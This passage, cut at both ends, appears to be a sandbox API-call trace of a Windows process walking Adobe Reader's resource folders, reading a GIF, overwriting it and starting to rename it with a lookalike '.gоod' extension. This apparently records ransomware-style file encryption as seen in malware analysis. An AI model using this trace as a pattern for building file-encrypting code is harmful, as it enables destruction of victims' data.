dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0187.890] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0187.891] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0187.891] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0187.891] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0187.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb190) returned 1 [0187.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb150) returned 1 [0187.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdeb250) returned 1 [0187.891] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes", nBufferLength=0x105, lpBuffer=0x1fdeacf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes", lpFilePart=0x0) returned 0x70 [0187.891] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\*", lpFindFileData=0x1fdeaf70 | out: lpFindFileData=0x1fdeaf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ecdd530 [0187.891] FindNextFileW (in: hFindFile=0x1ecdd530, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0187.892] FindNextFileW (in: hFindFile=0x1ecdd530, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0187.892] FindNextFileW (in: hFindFile=0x1ecdd530, lpFindFileData=0x1fdeaf30 | out: lpFindFileData=0x1fdeaf30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0187.892] FindClose (in: hFindFile=0x1ecdd530 | out: hFindFile=0x1ecdd530) returned 1 [0187.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb190) returned 1 [0187.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdeb150) returned 1 [0187.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea820) returned 1 [0187.892] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark", nBufferLength=0x105, lpBuffer=0x1fdea2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark", lpFilePart=0x0) returned 0x75 [0187.892] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\*", lpFindFileData=0x1fdea540 | out: lpFindFileData=0x1fdea540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ecdd950 [0187.894] FindNextFileW (in: hFindFile=0x1ecdd950, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0187.894] FindNextFileW (in: hFindFile=0x1ecdd950, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-down-pressed.gif", cAlternateFileName="ARFA56~1.GIF")) returned 1 [0187.894] FindNextFileW (in: hFindFile=0x1ecdd950, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x42, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-down.gif", cAlternateFileName="ARROW-~4.GIF")) returned 1 [0187.894] FindNextFileW (in: hFindFile=0x1ecdd950, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-left-pressed.gif", cAlternateFileName="AR60F1~1.GIF")) returned 1 [0187.894] FindNextFileW (in: hFindFile=0x1ecdd950, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-left.gif", cAlternateFileName="AR9564~1.GIF")) returned 1 [0187.894] FindNextFileW (in: hFindFile=0x1ecdd950, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-right-pressed.gif", cAlternateFileName="ARROW-~3.GIF")) returned 1 [0187.894] FindNextFileW (in: hFindFile=0x1ecdd950, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x40, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-right.gif", cAlternateFileName="ARROW-~2.GIF")) returned 1 [0187.895] FindNextFileW (in: hFindFile=0x1ecdd950, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-up-pressed.gif", cAlternateFileName="ARROW-~1.GIF")) returned 1 [0187.895] FindNextFileW (in: hFindFile=0x1ecdd950, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-up.gif", cAlternateFileName="")) returned 1 [0187.895] FindNextFileW (in: hFindFile=0x1ecdd950, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0187.895] FindClose (in: hFindFile=0x1ecdd950 | out: hFindFile=0x1ecdd950) returned 1 [0187.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea760) returned 1 [0187.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea720) returned 1 [0187.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea820) returned 1 [0187.896] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark", nBufferLength=0x105, lpBuffer=0x1fdea2c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark", lpFilePart=0x0) returned 0x75 [0187.896] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\*", lpFindFileData=0x1fdea540 | out: lpFindFileData=0x1fdea540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ecdcbd0 [0187.896] FindNextFileW (in: hFindFile=0x1ecdcbd0, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0187.897] FindNextFileW (in: hFindFile=0x1ecdcbd0, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-down-pressed.gif", cAlternateFileName="ARFA56~1.GIF")) returned 1 [0187.897] FindNextFileW (in: hFindFile=0x1ecdcbd0, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x42, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-down.gif", cAlternateFileName="ARROW-~4.GIF")) returned 1 [0187.897] FindNextFileW (in: hFindFile=0x1ecdcbd0, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-left-pressed.gif", cAlternateFileName="AR60F1~1.GIF")) returned 1 [0187.897] FindNextFileW (in: hFindFile=0x1ecdcbd0, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-left.gif", cAlternateFileName="AR9564~1.GIF")) returned 1 [0187.897] FindNextFileW (in: hFindFile=0x1ecdcbd0, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-right-pressed.gif", cAlternateFileName="ARROW-~3.GIF")) returned 1 [0187.897] FindNextFileW (in: hFindFile=0x1ecdcbd0, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x40, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-right.gif", cAlternateFileName="ARROW-~2.GIF")) returned 1 [0187.898] FindNextFileW (in: hFindFile=0x1ecdcbd0, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-up-pressed.gif", cAlternateFileName="ARROW-~1.GIF")) returned 1 [0187.898] FindNextFileW (in: hFindFile=0x1ecdcbd0, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-up.gif", cAlternateFileName="")) returned 1 [0187.898] FindNextFileW (in: hFindFile=0x1ecdcbd0, lpFindFileData=0x1fdea500 | out: lpFindFileData=0x1fdea500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x39, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow-up.gif", cAlternateFileName="")) returned 0 [0187.898] FindClose (in: hFindFile=0x1ecdcbd0 | out: hFindFile=0x1ecdcbd0) returned 1 [0187.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea760) returned 1 [0187.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea720) returned 1 [0187.899] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down-pressed.gif", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down-pressed.gif", lpFilePart=0x0) returned 0x8c [0187.899] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea5d0) returned 1 [0187.899] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down-pressed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down-pressed.gif"), fInfoLevelId=0x0, lpFileInformation=0x37aee60 | out: lpFileInformation=0x37aee60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6e1a70, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3a)) returned 1 [0187.900] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea590) returned 1 [0187.900] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down-pressed.gif", nBufferLength=0x105, lpBuffer=0x1fde9f60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down-pressed.gif", lpFilePart=0x0) returned 0x8c [0187.900] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea480) returned 1 [0187.900] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down-pressed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down-pressed.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0187.900] GetFileType (hFile=0x824) returned 0x1 [0187.900] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea3f0) returned 1 [0187.900] GetFileType (hFile=0x824) returned 0x1 [0187.900] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x1fdea628 | out: lpFileSizeHigh=0x1fdea628*=0x0) returned 0x3a [0187.900] ReadFile (in: hFile=0x824, lpBuffer=0x37af288, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdea558, lpOverlapped=0x0 | out: lpBuffer=0x37af288*, lpNumberOfBytesRead=0x1fdea558*=0x3a, lpOverlapped=0x0) returned 1 [0187.901] CloseHandle (hObject=0x824) returned 1 [0189.054] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down-pressed.gif", nBufferLength=0x105, lpBuffer=0x1fde9f60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down-pressed.gif", lpFilePart=0x0) returned 0x8c [0189.054] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea480) returned 1 [0189.054] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down-pressed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down-pressed.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0189.056] GetFileType (hFile=0x768) returned 0x1 [0189.056] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea3f0) returned 1 [0189.056] GetFileType (hFile=0x768) returned 0x1 [0189.057] WriteFile (in: hFile=0x768, lpBuffer=0x3935f40*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x1fdea468, lpOverlapped=0x0 | out: lpBuffer=0x3935f40*, lpNumberOfBytesWritten=0x1fdea468*=0x40, lpOverlapped=0x0) returned 1 [0189.057] CloseHandle (hObject=0x768) returned 1 [0189.058] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down-pressed.gif", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down-pressed.gif", lpFilePart=0x0) returned 0x8c [0189.058] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down-pressed.gif.gоod", nBufferLength=0x105, lpBuffer=0x1fdea100, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down-pressed.gif.gоod", lpFilePart=0x0) returned 0x91 [0189.058] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdea590) returned 1 [0189.058] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down-pressed.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down-pressed.gif"), fInfoLevelId=0x0, lpFileInformation=0x1fdea670 | out: lpFileInformation=0x1fdea670*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6e1a70, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6e1a70, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x6ce664a7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x40)) returned 1 [0189.058] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdea550) returned 1 [0189.058] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\\themes\\dark\\arrow-down-pressed.gif" (normalized: "c:\\program files 